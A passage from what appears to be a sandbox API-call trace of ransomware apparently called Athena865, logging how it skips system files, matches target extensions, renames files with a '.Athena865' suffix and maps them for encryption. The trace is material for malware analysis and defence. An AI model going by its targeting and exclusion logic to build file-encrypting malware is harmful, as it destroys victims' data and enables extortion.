(lpString1="WMF", lpString2="mwb") returned 1 [0129.180] lstrlenW (lpString="myd") returned 3 [0129.180] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0129.180] lstrlenW (lpString="ndf") returned 3 [0129.180] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0129.180] lstrlenW (lpString="nnt") returned 3 [0129.180] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0129.180] lstrlenW (lpString="nrmlib") returned 6 [0129.181] lstrcmpiW (lpString1="41.WMF", lpString2="nrmlib") returned -1 [0129.181] lstrlenW (lpString="ns2") returned 3 [0129.181] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0129.181] lstrlenW (lpString="ns3") returned 3 [0129.181] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0129.181] lstrlenW (lpString="ns4") returned 3 [0129.181] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0129.181] lstrlenW (lpString="nsf") returned 3 [0129.181] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0129.181] lstrlenW (lpString="nv") returned 2 [0129.181] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0129.181] lstrlenW (lpString="nv2") returned 3 [0129.181] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0129.181] lstrlenW (lpString="nwdb") returned 4 [0129.181] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0129.181] lstrlenW (lpString="nyf") returned 3 [0129.181] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0129.181] lstrlenW (lpString="odb") returned 3 [0129.181] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.181] lstrlenW (lpString="odb") returned 3 [0129.181] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.181] lstrlenW (lpString="oqy") returned 3 [0129.181] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0129.181] lstrlenW (lpString="ora") returned 3 [0129.181] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0129.181] lstrlenW (lpString="orx") returned 3 [0129.181] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0129.181] lstrlenW (lpString="owc") returned 3 [0129.182] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0129.182] lstrlenW (lpString="p96") returned 3 [0129.182] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0129.182] lstrlenW (lpString="p97") returned 3 [0129.182] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0129.182] lstrlenW (lpString="pan") returned 3 [0129.182] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0129.182] lstrlenW (lpString="pdb") returned 3 [0129.182] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0129.182] lstrlenW (lpString="pdm") returned 3 [0129.182] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0129.182] lstrlenW (lpString="pnz") returned 3 [0129.182] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0129.182] lstrlenW (lpString="qry") returned 3 [0129.182] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0129.182] lstrlenW (lpString="qvd") returned 3 [0129.182] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0129.182] lstrlenW (lpString="rbf") returned 3 [0129.182] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0129.182] lstrlenW (lpString="rctd") returned 4 [0129.182] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0129.182] lstrlenW (lpString="rod") returned 3 [0129.182] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0129.182] lstrlenW (lpString="rodx") returned 4 [0129.182] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0129.182] lstrlenW (lpString="rpd") returned 3 [0129.182] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0129.182] lstrlenW (lpString="rsd") returned 3 [0129.183] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0129.183] lstrlenW (lpString="sas7bdat") returned 8 [0129.183] lstrcmpiW (lpString1="1041.WMF", lpString2="sas7bdat") returned -1 [0129.183] lstrlenW (lpString="sbf") returned 3 [0129.183] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0129.183] lstrlenW (lpString="scx") returned 3 [0129.183] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0129.183] lstrlenW (lpString="sdb") returned 3 [0129.183] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0129.183] lstrlenW (lpString="sdc") returned 3 [0129.183] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0129.183] lstrlenW (lpString="sdf") returned 3 [0129.183] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0129.183] lstrlenW (lpString="sis") returned 3 [0129.183] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0129.183] lstrlenW (lpString="spq") returned 3 [0129.183] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0129.183] lstrlenW (lpString="te") returned 2 [0129.183] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0129.183] lstrlenW (lpString="teacher") returned 7 [0129.183] lstrcmpiW (lpString1="041.WMF", lpString2="teacher") returned -1 [0129.183] lstrlenW (lpString="tmd") returned 3 [0129.183] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0129.183] lstrlenW (lpString="tps") returned 3 [0129.183] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0129.183] lstrlenW (lpString="trc") returned 3 [0129.183] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.183] lstrlenW (lpString="trc") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.184] lstrlenW (lpString="trm") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0129.184] lstrlenW (lpString="udb") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0129.184] lstrlenW (lpString="udl") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0129.184] lstrlenW (lpString="usr") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0129.184] lstrlenW (lpString="v12") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0129.184] lstrlenW (lpString="vis") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0129.184] lstrlenW (lpString="vpd") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0129.184] lstrlenW (lpString="vvv") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0129.184] lstrlenW (lpString="wdb") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0129.184] lstrlenW (lpString="wmdb") returned 4 [0129.184] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0129.184] lstrlenW (lpString="wrk") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0129.184] lstrlenW (lpString="xdb") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0129.184] lstrlenW (lpString="xld") returned 3 [0129.184] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0129.184] lstrlenW (lpString="xmlff") returned 5 [0129.185] lstrcmpiW (lpString1="1.WMF", lpString2="xmlff") returned -1 [0129.185] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.Athena865") returned 73 [0129.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf.athena865"), dwFlags=0x1) returned 1 [0129.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.186] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2342) returned 1 [0129.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.186] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.189] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.189] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.189] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30, lpName=0x0) returned 0x154 [0129.191] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc30) returned 0x100000 [0129.192] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.192] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.192] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.193] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.193] CloseHandle (hObject=0x154) returned 1 [0129.193] CloseHandle (hObject=0x17c) returned 1 [0129.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.194] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18b0a00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa18b0a00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241043.WMF", cAlternateFileName="")) returned 1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2=".") returned 1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2="..") returned 1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2="windows") returned -1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2="bootmgr") returned 1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2="temp") returned -1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2="pagefile.sys") returned -1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2="boot") returned 1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2="ids.txt") returned 1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2="ntuser.dat") returned -1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2="perflogs") returned -1 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2="MSBuild") returned -1 [0129.194] lstrlenW (lpString="J0241043.WMF") returned 12 [0129.194] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0241043.WMF" | out: lpString1="J0241043.WMF") returned="J0241043.WMF" [0129.194] lstrlenW (lpString="J0241043.WMF") returned 12 [0129.194] lstrlenW (lpString="Athena865") returned 9 [0129.194] lstrcmpiW (lpString1="41043.WMF", lpString2="Athena865") returned -1 [0129.194] lstrlenW (lpString=".dll") returned 4 [0129.194] lstrcmpiW (lpString1="J0241043.WMF", lpString2=".dll") returned 1 [0129.195] lstrlenW (lpString=".lnk") returned 4 [0129.195] lstrcmpiW (lpString1="J0241043.WMF", lpString2=".lnk") returned 1 [0129.195] lstrlenW (lpString=".ini") returned 4 [0129.195] lstrcmpiW (lpString1="J0241043.WMF", lpString2=".ini") returned 1 [0129.195] lstrlenW (lpString=".sys") returned 4 [0129.195] lstrcmpiW (lpString1="J0241043.WMF", lpString2=".sys") returned 1 [0129.195] lstrlenW (lpString="J0241043.WMF") returned 12 [0129.195] lstrlenW (lpString="bak") returned 3 [0129.195] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.195] lstrlenW (lpString="ba_") returned 3 [0129.195] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.195] lstrlenW (lpString="dbb") returned 3 [0129.195] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.195] lstrlenW (lpString="vmdk") returned 4 [0129.195] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.195] lstrlenW (lpString="rar") returned 3 [0129.195] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.195] lstrlenW (lpString="zip") returned 3 [0129.195] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.195] lstrlenW (lpString="tgz") returned 3 [0129.195] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.195] lstrlenW (lpString="vbox") returned 4 [0129.195] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.195] lstrlenW (lpString="vdi") returned 3 [0129.195] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.195] lstrlenW (lpString="vhd") returned 3 [0129.195] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.195] lstrlenW (lpString="vhdx") returned 4 [0129.196] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.196] lstrlenW (lpString="avhd") returned 4 [0129.196] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.196] lstrlenW (lpString="db") returned 2 [0129.196] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.196] lstrlenW (lpString="db2") returned 3 [0129.196] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.196] lstrlenW (lpString="db3") returned 3 [0129.196] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.196] lstrlenW (lpString="dbf") returned 3 [0129.196] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.196] lstrlenW (lpString="mdf") returned 3 [0129.196] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.196] lstrlenW (lpString="mdb") returned 3 [0129.196] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.196] lstrlenW (lpString="sql") returned 3 [0129.196] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.196] lstrlenW (lpString="sqlite") returned 6 [0129.196] lstrcmpiW (lpString1="43.WMF", lpString2="sqlite") returned -1 [0129.196] lstrlenW (lpString="sqlite3") returned 7 [0129.196] lstrcmpiW (lpString1="043.WMF", lpString2="sqlite3") returned -1 [0129.196] lstrlenW (lpString="sqlitedb") returned 8 [0129.196] lstrcmpiW (lpString1="1043.WMF", lpString2="sqlitedb") returned -1 [0129.196] lstrlenW (lpString="xml") returned 3 [0129.196] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.196] lstrlenW (lpString="$er") returned 3 [0129.196] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.196] lstrlenW (lpString="4dd") returned 3 [0129.197] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.197] lstrlenW (lpString="4dl") returned 3 [0129.197] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.197] lstrlenW (lpString="^^^") returned 3 [0129.197] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.197] lstrlenW (lpString="abs") returned 3 [0129.197] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.197] lstrlenW (lpString="abx") returned 3 [0129.197] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.197] lstrlenW (lpString="accdb") returned 5 [0129.197] lstrcmpiW (lpString1="3.WMF", lpString2="accdb") returned -1 [0129.197] lstrlenW (lpString="accdc") returned 5 [0129.197] lstrcmpiW (lpString1="3.WMF", lpString2="accdc") returned -1 [0129.197] lstrlenW (lpString="accde") returned 5 [0129.197] lstrcmpiW (lpString1="3.WMF", lpString2="accde") returned -1 [0129.197] lstrlenW (lpString="accdr") returned 5 [0129.197] lstrcmpiW (lpString1="3.WMF", lpString2="accdr") returned -1 [0129.197] lstrlenW (lpString="accdt") returned 5 [0129.197] lstrcmpiW (lpString1="3.WMF", lpString2="accdt") returned -1 [0129.197] lstrlenW (lpString="accdw") returned 5 [0129.197] lstrcmpiW (lpString1="3.WMF", lpString2="accdw") returned -1 [0129.197] lstrlenW (lpString="accft") returned 5 [0129.197] lstrcmpiW (lpString1="3.WMF", lpString2="accft") returned -1 [0129.197] lstrlenW (lpString="adb") returned 3 [0129.197] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.197] lstrlenW (lpString="adb") returned 3 [0129.197] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.197] lstrlenW (lpString="ade") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.198] lstrlenW (lpString="adf") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.198] lstrlenW (lpString="adn") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.198] lstrlenW (lpString="adp") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.198] lstrlenW (lpString="alf") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.198] lstrlenW (lpString="ask") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.198] lstrlenW (lpString="btr") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.198] lstrlenW (lpString="cat") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.198] lstrlenW (lpString="cdb") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.198] lstrlenW (lpString="ckp") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.198] lstrlenW (lpString="cma") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.198] lstrlenW (lpString="cpd") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.198] lstrlenW (lpString="dacpac") returned 6 [0129.198] lstrcmpiW (lpString1="43.WMF", lpString2="dacpac") returned -1 [0129.198] lstrlenW (lpString="dad") returned 3 [0129.198] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.198] lstrlenW (lpString="dadiagrams") returned 10 [0129.199] lstrcmpiW (lpString1="241043.WMF", lpString2="dadiagrams") returned -1 [0129.199] lstrlenW (lpString="daschema") returned 8 [0129.199] lstrcmpiW (lpString1="1043.WMF", lpString2="daschema") returned -1 [0129.199] lstrlenW (lpString="db-journal") returned 10 [0129.199] lstrcmpiW (lpString1="241043.WMF", lpString2="db-journal") returned -1 [0129.199] lstrlenW (lpString="db-shm") returned 6 [0129.199] lstrcmpiW (lpString1="43.WMF", lpString2="db-shm") returned -1 [0129.199] lstrlenW (lpString="db-wal") returned 6 [0129.199] lstrcmpiW (lpString1="43.WMF", lpString2="db-wal") returned -1 [0129.199] lstrlenW (lpString="dbc") returned 3 [0129.199] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.199] lstrlenW (lpString="dbs") returned 3 [0129.199] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.199] lstrlenW (lpString="dbt") returned 3 [0129.199] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.199] lstrlenW (lpString="dbv") returned 3 [0129.199] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.199] lstrlenW (lpString="dbx") returned 3 [0129.199] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.199] lstrlenW (lpString="dcb") returned 3 [0129.199] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.199] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.200] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.Athena865") returned 73 [0129.200] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf.athena865"), dwFlags=0x1) returned 1 [0129.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.201] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2738) returned 1 [0129.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.201] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.202] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.202] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.202] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc0, lpName=0x0) returned 0x154 [0129.204] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdc0) returned 0x100000 [0129.205] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.206] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.206] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.207] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.207] CloseHandle (hObject=0x154) returned 1 [0129.207] CloseHandle (hObject=0x17c) returned 1 [0129.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.207] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb49dda00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb49dda00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241077.WMF", cAlternateFileName="")) returned 1 [0129.207] lstrcmpiW (lpString1="J0241077.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.207] lstrcmpiW (lpString1="J0241077.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.207] lstrcmpiW (lpString1="J0241077.WMF", lpString2=".") returned 1 [0129.207] lstrcmpiW (lpString1="J0241077.WMF", lpString2="..") returned 1 [0129.207] lstrcmpiW (lpString1="J0241077.WMF", lpString2="windows") returned -1 [0129.207] lstrcmpiW (lpString1="J0241077.WMF", lpString2="bootmgr") returned 1 [0129.208] lstrcmpiW (lpString1="J0241077.WMF", lpString2="temp") returned -1 [0129.208] lstrcmpiW (lpString1="J0241077.WMF", lpString2="pagefile.sys") returned -1 [0129.208] lstrcmpiW (lpString1="J0241077.WMF", lpString2="boot") returned 1 [0129.208] lstrcmpiW (lpString1="J0241077.WMF", lpString2="ids.txt") returned 1 [0129.208] lstrcmpiW (lpString1="J0241077.WMF", lpString2="ntuser.dat") returned -1 [0129.208] lstrcmpiW (lpString1="J0241077.WMF", lpString2="perflogs") returned -1 [0129.208] lstrcmpiW (lpString1="J0241077.WMF", lpString2="MSBuild") returned -1 [0129.208] lstrlenW (lpString="J0241077.WMF") returned 12 [0129.208] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0241077.WMF" | out: lpString1="J0241077.WMF") returned="J0241077.WMF" [0129.208] lstrlenW 